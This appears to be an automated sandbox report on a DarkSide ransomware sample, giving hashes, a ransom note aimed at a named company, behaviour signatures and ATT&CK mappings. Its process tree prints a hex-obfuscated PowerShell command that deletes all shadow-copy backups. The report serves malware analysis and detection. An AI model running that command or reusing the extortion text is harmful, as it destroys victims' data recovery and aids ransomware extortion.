Analysis

  • max time kernel
    109s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-05-2021 19:34

General

  • Target

    243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

  • Size

    59KB

  • MD5

    0ed51a595631e9b4d60896ab5573332f

  • SHA1

    7ae73b5e1622049380c9b615ce3b7f636665584b

  • SHA256

    243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60

  • SHA512

    9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Ransom Note
----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
    "C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2012
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1944

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    c398011c22fe198ebac4a37f582b8579

    SHA1

    d4a6cd59ed5cda635649d1ad90ef8a043e666d82

    SHA256

    4bdd8e712b595df52420d22bfe4d1f19b5737fd948090dafee6799b27b94b3b2

    SHA512

    36f681214c374309b4eafcf7a7ec9c46128f780ee10de12a68a44ac3d762f8ebd756c2ef1b12ef3d67dd47bc10d016360c2f1dac18571a5fafa50bfc7562ab0f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    1db87e4441557891ee541ea0c38e3711

    SHA1

    418cb1c61180e03f30f74fa4320639baa256063c

    SHA256

    348588ed5b513c571c31ca6ba16432cbb446c6333ac4ab63d4d2f8a16dde5e0e

    SHA512

    389539e42d2870f6f26a59c664b871d07ff5172d03fbcec11029429d7368c6adb2b9758ac3b1f690283694ae4b9ebe9817031d23927d5d3bcb85af735b8175b2

  • memory/768-60-0x0000000075EF1000-0x0000000075EF3000-memory.dmp
    Filesize

    8KB

  • memory/2012-66-0x000000001AB34000-0x000000001AB36000-memory.dmp
    Filesize

    8KB

  • memory/2012-64-0x000000001ABB0000-0x000000001ABB1000-memory.dmp
    Filesize

    4KB

  • memory/2012-65-0x000000001AB30000-0x000000001AB32000-memory.dmp
    Filesize

    8KB

  • memory/2012-63-0x0000000002460000-0x0000000002461000-memory.dmp
    Filesize

    4KB

  • memory/2012-67-0x0000000002650000-0x0000000002651000-memory.dmp
    Filesize

    4KB

  • memory/2012-68-0x0000000002510000-0x0000000002511000-memory.dmp
    Filesize

    4KB

  • memory/2012-69-0x000000001B640000-0x000000001B641000-memory.dmp
    Filesize

    4KB

  • memory/2012-70-0x000000001B8B0000-0x000000001B8B1000-memory.dmp
    Filesize

    4KB

  • memory/2012-62-0x000007FEFC181000-0x000007FEFC183000-memory.dmp
    Filesize

    8KB

  • memory/2012-61-0x0000000000000000-mapping.dmp